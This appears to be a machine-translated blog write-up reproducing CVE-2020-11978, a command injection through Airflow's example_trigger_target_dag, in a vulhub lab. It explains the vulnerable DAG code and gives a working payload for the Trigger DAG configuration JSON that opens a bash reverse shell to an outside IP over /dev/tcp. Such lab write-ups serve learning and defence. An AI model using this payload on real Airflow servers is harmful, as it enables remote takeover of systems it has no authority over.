当前位置:网站首页>Vulnerability recurrence - 48. Command injection in airflow DAG (cve-2020-11978)
Vulnerability recurrence - 48. Command injection in airflow DAG (cve-2020-11978)
2022-07-05 17:34:00 【Seven days】
List of articles
One 、Apache Airflow brief introduction
Apache Airflow yes python A program written in 、 A platform for scheduling and monitoring workflows .Airflow adopt DAG(Directed acyclic graph Directed acyclic graph ) Task scheduling tool to manage task flow .Airflow Except for a command line interface , It also provides a Web The user interface can visualize pipeline dependencies 、 Monitoring progress 、 Trigger tasks, etc .
Two 、 Causes of loopholes
Apache Airflow<=1.10.10 stay Airflow An example attached DAG= example_trigger_target_dag Allow any authenticated user to run Airflow Working procedure / Run arbitrary commands as the user of the scheduler .
By default Airflow Web UI Unauthorized access ,Airflow Web UI Triggers are provided in DAG Running functions , To test DAG, And one of example_trigger_controller_dag and example_trigger_target_dag Two DAG Combine to trigger command injection , Lead to loopholes .
If you set load_examples=False Samples disabled , Will not be attacked .
example_trigger_controller_dag and example_trigger_target_dag analysis
1、example_trigger_controller_dag
#airflow/example_dags/example_trigger_controller_dag.py
from airflow import DAG
from airflow.operators.dagrun_operator import TriggerDagRunOperator
from airflow.utils.dates import days_ago
dag = DAG(
dag_id="example_trigger_controller_dag",
default_args={
"owner": "airflow", "start_date": days_ago(2)},
schedule_interval="@once",
tags=['example']
)
trigger = TriggerDagRunOperator(
task_id="test_trigger_dagrun",
trigger_dag_id="example_trigger_target_dag", # Ensure this equals the dag_id of the DAG to trigger
conf={
"message": "Hello World"},
dag=dag,
)
2、example_trigger_target_dag
#airflow/example_dags/example_trigger_target_dag.py
from airflow import DAG
from airflow.operators.bash import BashOperator
from airflow.operators.python import PythonOperator
from airflow.utils.dates import days_ago
dag = DAG(
dag_id="example_trigger_target_dag",
default_args={
"start_date": days_ago(2), "owner": "airflow"},
schedule_interval=None,
tags=['example']
)
def run_this_func(**context):
""" Print the payload "message" passed to the DagRun conf attribute. :param context: The execution context :type context: dict """
print("Remotely received value of {} for key=message".format(context["dag_run"].conf["message"]))
run_this = PythonOperator(task_id="run_this", python_callable=run_this_func, dag=dag)
bash_task = BashOperator(
task_id="bash_task",
bash_command='echo "Here is the message: \'{
{ dag_run.conf["message"] if dag_run else "" }}\'"',
dag=dag,
)
""" Example usage of the TriggerDagRunOperator. This example holds 2 DAGs: 1. 1st DAG (example_trigger_controller_dag) holds a TriggerDagRunOperator, which will trigger the 2nd DAG 2. 2nd DAG (example_trigger_target_dag) which will be triggered by the TriggerDagRunOperator in the 1st DAG """
import pendulum
from airflow import DAG
from airflow.decorators import task
from airflow.operators.bash import BashOperator
@task(task_id="run_this")
def run_this_func(dag_run=None):
""" Print the payload "message" passed to the DagRun conf attribute. :param dag_run: The DagRun object """
print(f"Remotely received value of {
dag_run.conf.get('message')} for key=message")
with DAG(
dag_id="example_trigger_target_dag",
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
catchup=False,
schedule_interval=None,
tags=['example'],
) as dag:
run_this = run_this_func()
bash_task = BashOperator(
task_id="bash_task",
bash_command='echo "Here is the message: $message"',
env={
'message': '{
{ dag_run.conf.get("message") }}'},
)
adopt example_trigger_controller_dag Internally defined conf={"message": "Hello World"} To trigger example_trigger_target_dag Medium bash_command='echo "Here is the message"'. If here dag_run.conf.get("message") controllable , You can inject malicious commands .
stay Airflow in ,conf Used to define how parameters are passed , and Airflow There are many ways to modify conf:
1、 Command line mode
airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag
2、Web UI Directly trigger any DAG And transmission dag_run.conf
3、 ... and 、 Loophole recurrence
The following loopholes recur adopt Web UI Trigger DAG Pass on dag_run.conf("message") Execute arbitrary orders :
Use vulhub shooting range CVE-2020-11978
# start-up airflow
docker-compose run airflow-init
docker-compose up -d
visit IP:8080 Get into airflow The management end
Turn onexample_trigger_target_dag

Click on example_trigger_target_dag, Enter the page , Click on Trigger DAG, Go to the debug page .
stay Configuration JSON Enter the command to be executed :
{
"message":"'\";bash -i >& /dev/tcp/10.211.55.3/6666 0>&1;#"}
The listening end performs listening 
Reference link :
https://github.com/apache/airflow/blob/main/airflow/example_dags/example_trigger_target_dag.py
https://vulhub.org/#/environments/airflow/CVE-2020-11978/
边栏推荐
- 激动人心!2022开放原子全球开源峰会报名火热开启!
- 云安全日报220705:红帽PHP解释器发现执行任意代码漏洞,需要尽快升级
- 漫画:有趣的【海盗】问题
- 企业数字化发展中的六个安全陋习,每一个都很危险!
- IDEA 项目启动报错 Shorten the command line via JAR manifest or via a classpath file and rerun.
- CMake教程Step5(添加系统自检)
- 域名解析,反向域名解析nbtstat
- 哈趣K1和哈趣H1哪个性价比更高?谁更值得入手?
- Tips for extracting JSON fields from MySQL
- 解决“双击pdf文件,弹出”请安装evernote程序
猜你喜欢

企业数字化发展中的六个安全陋习,每一个都很危险!

CVPR 2022 best student paper: single image estimation object pose estimation in 3D space

How to write a full score project document | acquisition technology

Count the running time of PHP program and set the maximum running time of PHP

CMake教程Step1(基本起点)

提高应用程序性能的7个DevOps实践

Rider set the highlighted side of the selected word, remove the warning and suggest highlighting

服务器配置 jupyter环境

Rider 设置选中单词侧边高亮,去除警告建议高亮

Which is more cost-effective, haqu K1 or haqu H1? Who is more worth starting with?
随机推荐
SQL删除重复数据的实例教程
关于mysql中的json解析函数JSON_EXTRACT
Machine learning 01: Introduction
CMake教程Step6(添加自定义命令和生成文件)
ICML 2022 | Meta propose une méthode robuste d'optimisation bayésienne Multi - objectifs pour faire face efficacement au bruit d'entrée
ICML 2022 | Meta提出鲁棒的多目标贝叶斯优化方法,有效应对输入噪声
Winedt common shortcut key modify shortcut key latex compile button
Tita performance treasure: how to prepare for the mid year examination?
基于Redis实现延时队列的优化方案小结
张平安:加快云上数字创新,共建产业智慧生态
得知女儿被猥亵,35岁男子将对方打至轻伤二级,法院作出不起诉决定
Alpha conversion from gamma space to linner space under URP (II) -- multi alpha map superposition
The second day of learning C language for Asian people
Kafaka technology lesson 1
Understand the usage of functions and methods in go language
CMake教程Step5(添加系统自检)
Example tutorial of SQL deduplication
网络威胁分析师应该具备的十种能力
域名解析,反向域名解析nbtstat
The third lesson of EasyX learning